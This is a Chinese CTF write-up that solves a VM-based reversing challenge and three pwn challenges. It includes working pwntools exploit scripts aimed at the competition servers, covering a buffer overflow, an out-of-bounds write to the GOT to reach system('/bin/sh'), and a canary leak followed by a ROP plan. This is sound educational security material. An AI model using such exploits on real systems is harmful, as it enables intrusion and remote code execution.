之前写的,忘了发布了,又补充了点东西放出来
赛中整理&&赛后复现
0x01 ReReRe
程序分析:
Structions
00000000 VmRegs struc ; (sizeof=0x4, mappedto_35)
00000000 functionlist dd ? ; offset
00000004 VmRegs ends
00000004
00000000 ; [00000008 BYTES. COLLAPSED UNION LARGE_INTEGER. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 functionlist struc ; (sizeof=0x74, mappedto_36)
00000000 ; XREF: Vm_Reg/o
00000000 vm_mov_reg_value dd ? ; offset
00000004 vm_get_high_reg dd ?
00000008 vm_nop dd ?
0000000C vm_get_low_reg dd ?
00000010 vm_dec_high_reg dd ?
00000014 vm_add_highreg_lowreg dd ?
00000018 vm_sub_highreg_lowreg dd ?
0000001C vm_inc_high_reg dd ?
00000020 vm_xor dd ?
00000024 vm_and_highreg_lowreg dd ?
00000028 vm_mul_highreg_lowreg dd ?
0000002C vm_mod_highreg_lowreg dd ?
00000030 vm_push_reg dd ?
00000034 vm_mov_highreg_lowreg dd ?
00000038 mov_highreg_value dd ?
0000003C vm_push dd ?
00000040 vm_pop_reg dd ?
00000044 vm_set_input dd ?
00000048 vm_jl dd ?
0000004C vm_jg dd ?
00000050 vm_jz dd ?
00000054 vm_loop dd ?
00000058 vm_cmp dd ?
0000005C input_inc dd ?
00000060 input_dec dd ?
00000064 vm_xor_data dd ?
00000068 vm_init dd ? ; XREF: main+B4/r ; offset
0000006C vm_ret dd ?
00000070 vm_handle dd ?
00000074 functionlist ends
00000000 _Regs struc ; (sizeof=0x24, mappedto_38)
00000000 _eax db 4 dup(?) ; string(C)
00000004 _ebx dd ?
00000008 _edx dd ?
0000000C _ecx dd ? ; offset
00000010 _flag dd ?
00000014 _input dd ?
00000018 _ebp dd ?
0000001C _esp dd ?
00000020 _eip dd ?
00000024 _Regs ends
00000000 Vm_Reg struc ; (sizeof=0x28, mappedto_37)
00000000 function dd ? ; offset
00000004 vm_eax dd ?
00000008 vm_ebx dd ?
0000000C vm_edx dd ? ; offset
00000010 vm_ecx dd ?
00000014 vm_flag dd ?
00000018 vm_input dd ?
0000001C vm_ebp dd ?
00000020 vm_esp dd ?
00000024 vm_eip dd ?
00000028 Vm_Reg ends
main
通过字符串定位到主函数:
int __usercall main@<eax>(int a1@<edi>, void *Memory, int a3)
{
int result; // eax
int v4; // ST1C_4
VmRegs *v5; // eax
Vm_Reg *v6; // eax
_Regs *v7; // ebx
_OWORD *v8; // edi
void *v9; // eax
void *v10; // esi
int input; // ecx
const char *v12; // eax
VmRegs *Memorya; // [esp+8h] [ebp+8h]
if ( (signed int)Memory >= 2 )
{
if ( strlen(*(const char **)(a3 + 4)) <= 0x30 )
{
v4 = a1;
v5 = (VmRegs *)vm_malloc(0x28u);
Memorya = v5;
v5->functionlist = (functionlist *)&RE::`vftable';
v6 = (Vm_Reg *)vm_malloc(0x24u);
v7 = (_Regs *)v6;
v6->vm_eax = 0;
v6->vm_ebx = 0;
v6->vm_edx = 0;
v8 = vm___malloc(0x64u);
v9 = vm___malloc(0x50u);
v10 = v9;
input = *(_DWORD *)(a3 + 4);
*v8 = *(_OWORD *)input;
v8[1] = *(_OWORD *)(input + 16);
v8[2] = *(_OWORD *)(input + 32);
*((_WORD *)v8 + 24) = *(_WORD *)(input + 48);
v7->_input = (int)v8;
v7->_ebp = (int)v9;
v7->_eip = (int)&vm_code;
((void (__stdcall *)(_Regs *, int))Memorya->functionlist->vm_init)(v7, v4);
((void (*)(void))Memorya->functionlist->vm_handle)();
((void (__cdecl *)(_Regs *))Memorya->functionlist->vm_ret)(v7);
v12 = "No! You are Wrong\n";
if ( !*(_DWORD *)v7->_eax )
v12 = "Great! Add flag{} to hash and submit\n";
sub_2117C0(v12);
j_j_free(v10);
j_j_free(v8);
sub_21183F(v7);
sub_21183F(Memorya);
}
result = 0;
}
else
{
sub_2117C0("%s hash\n", *(_DWORD *)a3);
result = 0;
}
return result;
}
函数表
其中RE::`vftable'函数表内:
.rdata:002131C8 dd offset ??_R4RE@@6B@ ; const RE::`RTTI Complete Object Locator'
.rdata:002131CC ; const RE::`vftable'
.rdata:002131CC ??_7RE@@6B@ dd offset vm_mov_reg_value
.rdata:002131CC ; DATA XREF: main+46↑o
.rdata:002131D0 dd offset vm_get_high_reg
.rdata:002131D4 dd offset vm_nop
.rdata:002131D8 dd offset vm_get_low_reg
.rdata:002131DC dd offset vm_dec_high_reg
.rdata:002131E0 dd offset vm_add_highreg_lowreg
.rdata:002131E4 dd offset vm_sub_highreg_lowreg
.rdata:002131E8 dd offset vm_inc_high_reg
.rdata:002131EC dd offset vm_xor
.rdata:002131F0 dd offset vm_and_highreg_lowreg
.rdata:002131F4 dd offset vm_mul_highreg_lowreg
.rdata:002131F8 dd offset vm_mod_highreg_lowreg
.rdata:002131FC dd offset vm_push_reg
.rdata:00213200 dd offset vm_mov_highreg_lowreg
.rdata:00213204 dd offset mov_highreg_value
.rdata:00213208 dd offset vm_push
.rdata:0021320C dd offset vm_pop_reg
.rdata:00213210 dd offset vm_set_input
.rdata:00213214 dd offset vm_jl
.rdata:00213218 dd offset vm_jg
.rdata:0021321C dd offset vm_jz
.rdata:00213220 dd offset vm_loop
.rdata:00213224 dd offset vm_cmp
.rdata:00213228 dd offset input_inc
.rdata:0021322C dd offset input_dec
.rdata:00213230 dd offset vm_xor_data
.rdata:00213234 dd offset vm_init
.rdata:00213238 dd offset vm_retn
.rdata:0021323C dd offset vm_handle
vm_init
int __thiscall vm_init(Vm_Reg *this, _Regs *a2)
{
this->vm_eax = *(_DWORD *)a2->_eax;
this->vm_ebx = a2->_ebx;
this->vm_edx = (functionlist *)a2->_edx;
this->vm_ecx = (int)a2->_ecx;
this->vm_flag = 0;
this->vm_input = a2->_input;
this->vm_ebp = a2->_ebp;
this->vm_esp = a2->_ebp + 40;
this->vm_eip = a2->_eip;
return 0;
}
vm_handle
int __thiscall vm_handle(unsigned __int8 **this)
{
Vm_Reg *v1; // esi
int result; // eax
v1 = (Vm_Reg *)this;
while ( 1 )
{
result = *(unsigned __int8 *)v1->vm_eip;
switch ( result )
{
case 0x43:
return result;
case 0x44:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_jl)(v1);
break;
case 0x45:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_mod_highreg_lowreg)(v1);
break;
case 0x46:
((void (__thiscall *)(Vm_Reg *))v1->function->mov_highreg_value)(v1);
break;
case 0x47:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_xor)(v1);
break;
case 0x48:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_cmp)(v1);
break;
case 0x49:
((void (__thiscall *)(Vm_Reg *))v1->function->input_inc)(v1);
break;
case 0x4A:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_and_highreg_lowreg)(v1);
break;
case 0x4B:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_jz)(v1);
break;
case 0x4C:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_xor_data)(v1);
break;
case 0x4D:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_jg)(v1);
break;
case 0x4E:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_dec_high_reg)(v1);
break;
case 0x4F:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_push)(v1);
break;
case 0x50:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_inc_high_reg)(v1);
break;
case 0x51:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_mov_highreg_lowreg)(v1);
break;
case 0x52:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_push_reg)(v1);
break;
case 0x53:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_add_highreg_lowreg)(v1);
break;
case 0x54:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_pop_reg)(v1);
break;
case 0x55:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_loop)(v1);
break;
case 0x56:
((void (__thiscall *)(Vm_Reg *))v1->function->input_dec)(v1);
break;
case 0x57:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_set_input)(v1);
break;
case 0x58:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_mul_highreg_lowreg)(v1);
break;
case 0x59:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_sub_highreg_lowreg)(v1);
break;
default:
((void (__thiscall *)(Vm_Reg *))v1->function->vm_nop)(v1);
break;
}
}
}
vm_ret
int __thiscall vm_retn(Vm_Reg *Vm_Reg, _Regs *a2)
{
int result; // eax
*(_DWORD *)a2->_eax = Vm_Reg->vm_eax;
a2->_ebx = Vm_Reg->vm_ebx;
a2->_edx = (int)Vm_Reg->vm_edx;
a2->_ecx = (functionlist *)Vm_Reg->vm_ecx;
result = Vm_Reg->vm_flag;
a2->_flag = result;
return result;
}
vm_code处理
提取vm_code数据
利用脚本大致翻译成常用的汇编语言
vmcode=[ 0x4F, 0x00, 0x00, 0x00, 0x2F, 0x55, 0x05, 0x54, 0x30, 0x46,
0x00, 0x47, 0x22, 0x48, 0x02, 0x4B, 0x33, 0x49, 0x4F, 0x00,
0x00, 0x00, 0x46, 0x54, 0x10, 0x48, 0x01, 0x4D, 0x27, 0x4F,
0x00, 0x00, 0x00, 0x30, 0x54, 0x10, 0x48, 0x01, 0x44, 0x16,
0x4F, 0x00, 0x00, 0x00, 0x39, 0x54, 0x10, 0x48, 0x01, 0x44,
0x0B, 0x4F, 0x00, 0x00, 0x00, 0x41, 0x54, 0x01, 0x48, 0x01,
0x44, 0x06, 0x47, 0x00, 0x48, 0x00, 0x4B, 0x05, 0x47, 0x00,
0x50, 0x00, 0x43, 0x55, 0x40, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0xA2, 0x38, 0x0B, 0xBE, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0x86, 0xCC, 0xC7, 0x75, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0x14, 0xBC, 0xEB, 0x64, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0x76, 0x8F, 0x2C, 0x49, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0x7F, 0x87, 0xC5, 0x3F, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07,
0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00,
0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00,
0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00,
0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F,
0x3E, 0x9D, 0x1F, 0xAE, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00,
0x4B, 0x02, 0x50, 0x00, 0x43, 0x00]
eip=0
regs=["eax","ebx","edx","ecx","flag"]
while eip<len(vmcode):
if vmcode[eip]==0x43:
print str(eip)+" retn"
eip+=1
elif vmcode[eip]==0x44:
print str(eip)+" jl "+str(vmcode[eip+1]+eip+2)
eip+=2
elif vmcode[eip]==0x45:
print str(eip)+" mod "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x46:
print str(eip)+" mov "+regs[(vmcode[eip+1]&0xf0)>>4]+","+"*input"
eip+=2
elif vmcode[eip]==0x47:
print str(eip)+" xor "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x48:
print str(eip)+" cmp "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x49:
print str(eip)+" *input++"
eip+=1
elif vmcode[eip]==0x4a:
print str(eip)+" and "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x4b:
print str(eip)+" jz "+str(vmcode[eip+1]+eip+2)
eip+=2
elif vmcode[eip]==0x4c:
print str(eip)+" xor_data"
eip+=16
elif vmcode[eip]==0x4d:
print str(eip)+" jg "+str(vmcode[eip+1]+eip+2)
eip+=2
elif vmcode[eip]==0x4e:
print str(eip)+" dec "+regs[(vmcode[eip+1]&0xf0)>>4]
eip+=2
elif vmcode[eip]==0x4f:
print str(eip)+" push "+hex(vmcode[eip+4]+(vmcode[eip+3]<<8)+(vmcode[eip+2]<<16)+(vmcode[eip+1]<<24))
eip+=5
elif vmcode[eip]==0x50:
print str(eip)+" inc "+regs[(vmcode[eip+1]&0xf0)>>4]
eip+=2
elif vmcode[eip]==0x51:
print str(eip)+" mov "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x52:
print str(eip)+" push "+regs[(vmcode[eip+1]&0xf0)>>4]
eip+=2
elif vmcode[eip]==0x53:
print str(eip)+" add "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x54:
print str(eip)+" pop "+regs[(vmcode[eip+1]&0xf0)>>4]
eip+=2
elif vmcode[eip]==0x55:
print str(eip)+" loop -"+str(vmcode[eip+1])
eip+=2
elif vmcode[eip]==0x56:
print str(eip)+" *input--"
eip+=1
elif vmcode[eip]==0x57:
print str(eip)+" mov "+"*input,"+regs[(vmcode[eip+1]&0xf0)>>4]
eip+=2
elif vmcode[eip]==0x58:
print str(eip)+" mul "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
elif vmcode[eip]==0x59:
print str(eip)+" sub "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
eip+=2
else:
print str(eip)+" nop"
eip+=1
得到:
0 push 0x2f
5 loop -5
7 pop ecx
9 mov eax,*input
11 xor edx,edx
13 cmp eax,edx
15 jz 68
17 *input++
18 push 0x46
23 pop ebx
25 cmp eax,ebx
27 jg 68
29 push 0x30
34 pop ebx
36 cmp eax,ebx
38 jl 62
40 push 0x39
45 pop ebx
47 cmp eax,ebx
49 jl 62
51 push 0x41
56 pop eax
58 cmp eax,ebx
60 jl 68
62 xor eax,eax
64 cmp eax,eax
66 jz 73
68 xor eax,eax
70 inc eax
72 retn
73 loop -64
75 push 0x7
80 pop ecx
82 xor ebx,ebx
84 *input--
85 mov eax,*input
87 push 0x30
92 pop edx
94 sub eax,edx
96 push 0xa
101 pop edx
103 cmp eax,edx
105 jl 116
107 push 0x7
112 pop edx
114 sub eax,edx
116 push 0x10
121 pop edx
123 mul ebx,edx
125 add ebx,eax
127 loop -43
129 push 0xa2380bbeL
134 pop edx
136 cmp ebx,edx
138 xor eax,eax
140 jz 145
142 inc eax
144 retn
145 push 0x7
150 pop ecx
152 xor ebx,ebx
154 *input--
155 mov eax,*input
157 push 0x30
162 pop edx
164 sub eax,edx
166 push 0xa
171 pop edx
173 cmp eax,edx
175 jl 186
177 push 0x7
182 pop edx
184 sub eax,edx
186 push 0x10
191 pop edx
193 mul ebx,edx
195 add ebx,eax
197 loop -43
199 push 0x86ccc775L
204 pop edx
206 cmp ebx,edx
208 xor eax,eax
210 jz 215
212 inc eax
214 retn
215 push 0x7
220 pop ecx
222 xor ebx,ebx
224 *input--
225 mov eax,*input
227 push 0x30
232 pop edx
234 sub eax,edx
236 push 0xa
241 pop edx
243 cmp eax,edx
245 jl 256
247 push 0x7
252 pop edx
254 sub eax,edx
256 push 0x10
261 pop edx
263 mul ebx,edx
265 add ebx,eax
267 loop -43
269 push 0x14bceb64
274 pop edx
276 cmp ebx,edx
278 xor eax,eax
280 jz 285
282 inc eax
284 retn
285 push 0x7
290 pop ecx
292 xor ebx,ebx
294 *input--
295 mov eax,*input
297 push 0x30
302 pop edx
304 sub eax,edx
306 push 0xa
311 pop edx
313 cmp eax,edx
315 jl 326
317 push 0x7
322 pop edx
324 sub eax,edx
326 push 0x10
331 pop edx
333 mul ebx,edx
335 add ebx,eax
337 loop -43
339 push 0x768f2c49
344 pop edx
346 cmp ebx,edx
348 xor eax,eax
350 jz 355
352 inc eax
354 retn
355 push 0x7
360 pop ecx
362 xor ebx,ebx
364 *input--
365 mov eax,*input
367 push 0x30
372 pop edx
374 sub eax,edx
376 push 0xa
381 pop edx
383 cmp eax,edx
385 jl 396
387 push 0x7
392 pop edx
394 sub eax,edx
396 push 0x10
401 pop edx
403 mul ebx,edx
405 add ebx,eax
407 loop -43
409 push 0x7f87c53f
414 pop edx
416 cmp ebx,edx
418 xor eax,eax
420 jz 425
422 inc eax
424 retn
425 push 0x7
430 pop ecx
432 xor ebx,ebx
434 *input--
435 mov eax,*input
437 push 0x30
442 pop edx
444 sub eax,edx
446 push 0xa
451 pop edx
453 cmp eax,edx
455 jl 466
457 push 0x7
462 pop edx
464 sub eax,edx
466 push 0x10
471 pop edx
473 mul ebx,edx
475 add ebx,eax
477 loop -43
479 push 0x3e9d1fae
484 pop edx
486 cmp ebx,edx
488 xor eax,eax
490 jz 494
492 inc eax
494 retn
495 nop
大致逻辑:
读取48位输入
判断输入在[0-9A-F]间
而后每八位进行一次循环(逆序)转化成对应的16进制数值
再与预先的数值比较
6次循环后皆相等后eax为0传出
最终:
if ( !*(_DWORD *)v7->_eax )
v12 = "Great! Add flag{} to hash and submit\n";
flag
提取数据
转化成16进制大写,逆序拼接即得hash值,(hash值添加"flag{}"即为最后要提交的flag):
key=[0x3e9d1fae,0x7f87c53f,0x768f2c49,0x14bceb64,0x86ccc775,0xa2380bbe]
flag=""
for i in key:
flag+=hex(i)[2:].upper().replace('L',"")[::-1]
print flag
0x02 gettingstart
签到题
直接覆盖缓存区,并在程序本身.rodata段找到浮点数0.1写法:
.rodata:000055E9F6926C10 qword_55E9F6926C10 dq 3FB999999999999Ah
对应覆盖变量即可:
from pwn import *
p=remote("49.4.79.1",31184)
p.recvuntil(".\n")
p.sendline("a"*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
p.interactive()
0x03 shoppingcart
在modify函数中存在数组越界:
unsigned __int64 modify()
{
unsigned __int64 v0; // rax
__int64 v1; // ST00_8
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Which goods you need to modify?");
fgets(&s, 24, stdin);
v0 = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *goods_name_list[v0], v0);
*((_BYTE *)*goods_name_list[v1] + read(0, *goods_name_list[v1], 8uLL)) = 0;
return __readfsqword(0x28u) ^ v4;
}
而后利用202068偏移处保存自身地址来leak程序加载地址,然后修改money的list,使list[0]所指的money_name[0]指向money_name[1],同时修改money_name[1]指向got表(因为money_name在.bss段,当我们leak程序加载地址后money_name地址已知),此时我们modify中传入money_name[0],便会输出money_name[0]所指地址处的字符串指针(即got表地址)所指的字符串(即got表),以此leak libc,而后修改got表中函数地址到system,来执行system("/bin/sh")(system偏移是通过另一题的libc得到的,利用libc库find或者shellcode也应该可以):
from pwn import *
#context.log_level = 'debug'
p=remote("49.4.78.243",30425)
for i in range(3):
p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("?\n")
p.sendline("aaaa")
p.recvuntil("!\n")
p.sendline("3")
p.recvuntil("!\n")
p.sendline("3")
p.recvuntil("?\n")
p.sendline("0xffffffffffffffd1")
p.recvuntil("modify ")
s=p.recvuntil("?\n")[:6].ljust(8,"\x00")
addr=u64(s)
p.sendline(p64(addr))
p.recvuntil("!\n")
p.sendline("3")
p.recvuntil("?\n")
p.sendline("0xffffffffffffffec")
p.recvuntil("?\n")
p.sendline(p64(addr+72))
p.recvuntil("!\n")
p.sendline("3")
p.recvuntil("?\n")
p.sendline("0xffffffffffffffee")
p.recvuntil("?\n")
p.sendline(p64(addr-0x10))
p.recvuntil("!\n")
p.sendline("3")
p.recvuntil("?\n")
p.sendline("0xffffffffffffffd8")
p.recvuntil("modify ")
s=p.recvuntil("?\n")[:6].ljust(8,"\x00")
strtoul_addr=u64(s)
p.sendline(p64(strtoul_addr-0x3b3f0+0x45390))
p.interactive()
0x04 huwang
当cmd为666时会进入一个特殊函数:
void __noreturn secret()
{
int v0; // ST04_4
__int64 v1; // [rsp+0h] [rbp-80h]
__int64 v2; // [rsp+0h] [rbp-80h]
signed int i; // [rsp+0h] [rbp-80h]
int v4; // [rsp+4h] [rbp-7Ch]
int fd; // [rsp+8h] [rbp-78h]
int fda; // [rsp+8h] [rbp-78h]
int v7; // [rsp+Ch] [rbp-74h]
char v8; // [rsp+10h] [rbp-70h]
char s[32]; // [rsp+20h] [rbp-60h]
char s1; // [rsp+40h] [rbp-40h]
char buf; // [rsp+60h] [rbp-20h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]
v12 = __readfsqword(0x28u);
puts("please input your name");
read(0, &buf, 0x20uLL);
memset(s, 0, 0x10uLL);
puts("Do you want to guess the secret?");
sub_400CC1(&v8, 2LL);
if ( v8 == 'y' )
{
if ( access("/tmp/secret", 0) == -1 )
{
HIDWORD(v1) = open("/tmp/secret", 0101, 0x1FFLL);
fd = open("/dev/urandom", 0);
read(fd, s, 0xCuLL);
LODWORD(v1) = 0;
while ( (signed int)v1 <= 11 )
{
s[(signed int)v1] &= 1u;
LODWORD(v1) = v1 + 1;
}
write(SHIDWORD(v1), s, 0xCuLL);
close(SHIDWORD(v1));
close(fd);
}
v0 = open("/tmp/secret", 0, v1);
read(v0, s, 0xCuLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
v7 = get_num();
if ( v7 > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !v7 )
{
printf("At least encrypt one time", s);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 01001);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < v7 )
{
MD5(s, 16LL, s);
LODWORD(v2) = v2 + 1;
}
write(SHIDWORD(v2), s, 0x10uLL);
close(SHIDWORD(v2));
puts("Try to guess the md5 of the secret");
read(0, &s1, 0x10uLL);
if ( !memcmp(&s1, s, 0x10uLL) )
right_secret((__int64)&buf);
v4 = open("/tmp/secret", 01001, 0777LL, v2);
fda = open("/dev/urandom", 0);
read(fda, s, 0xCuLL);
for ( i = 0; i <= 11; ++i )
s[i] &= 1u;
write(v4, s, 0xCuLL);
close(v4);
close(fda);
exit(0);
}
printf("Oh!bye %s\n", &buf);
exit(0);
}
这里注意几个open函数时flag的宏定义(位于fcntl.h文件中):
#define O_ACCMODE 00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#ifndef O_CREAT
#define O_CREAT 00000100 /* not fcntl */
#endif
#ifndef O_EXCL
#define O_EXCL 00000200 /* not fcntl */
#endif
#ifndef O_NOCTTY
#define O_NOCTTY 00000400 /* not fcntl */
#endif
#ifndef O_TRUNC
#define O_TRUNC 00001000 /* not fcntl */
#endif
#ifndef O_APPEND
#define O_APPEND 00002000
#endif
#ifndef O_NONBLOCK
#define O_NONBLOCK 00004000
#endif
#ifndef O_DSYNC
#define O_DSYNC 00010000 /* used to be O_SYNC, see below */
#endif
#ifndef FASYNC
#define FASYNC 00020000 /* fcntl, for BSD compatibility */
#endif
#ifndef O_DIRECT
#define O_DIRECT 00040000 /* direct disk access hint */
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 00100000
#endif
#ifndef O_DIRECTORY
#define O_DIRECTORY 00200000 /* must be a directory */
#endif
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 00400000 /* don't follow links */
#endif
#ifndef O_NOATIME
#define O_NOATIME 01000000
#endif
#ifndef O_CLOEXEC
#define O_CLOEXEC 02000000 /* set close_on_exec */
#endif
可以看到其过程:
首先access判断文件存在
不存在则open("/tmp/secret",O_CREAT|O_WRONLY),并利用/dev/urandom像其写入随机数据
存在则open("/tmp/secret",OWRONLY | OTRUNC)
注意:
O_TRUNC 若文件存在并且以可写的方式打开时, 此flag会令文件长度清为0, 即清除原来的数据
而后我们输入一个数来决定md5循环次数
注意这里v7是int
判断v7 > 10以及!v7时以int处理
而md5循环时:
(unsigned int)v2 < v7
利用此处unsigned int的比较,可以构造一个很长的循环,程序便会停滞在此循环,而后此时/tmp/secret文件已被清零
正常情况:
md5循环完毕,程序将计算出的md5写入被清空的/tmp/secret文件
传入负值:
程序停滞在md5循环,导致/tmp/secret为空
这样可以构造一个负值来使/tmp/secret为空
而后md5我们传入hashlib.md5('\x00'*16).hexdigest().decode('hex')即可
而后进入right_secret函数:
int __fastcall right_secret(__int64 a1)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char v4; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", a1);
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
sub_400CC1(&v4, 0xFFLL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
".................................................................................................",
a1,
&v4);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1);
return printf("The final presentation is as follows:%s\n", &s);
}
看到最后的read:
read(0, &s, v3 - 1)
v3 = snprintf(......)
snprintf返回的值是预写入的长度,而不是成功写入长度
v4最大长度为0xFF,再加上a1和字符串"I know......."长度,足以造成栈溢出
不过这里还需要leak cannary
重看secret函数:
char buf; // [rsp+60h] [rbp-20h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]
v12 = __readfsqword(0x28u);
puts("please input your name");
read(0, &buf, 0x20uLL);
memset(s, 0, 0x10uLL);
当我们输入名字长度为0x19bytes,便可以覆盖canary最低位的0,从而在正确判断md5后,right_secret:
int __fastcall right_secret(__int64 a1)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char v4; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", a1);
成功输出canary(末尾去掉并补\x00)
接下来就是正常的构造rop来leak libc
最后执行system("/bin/sh")
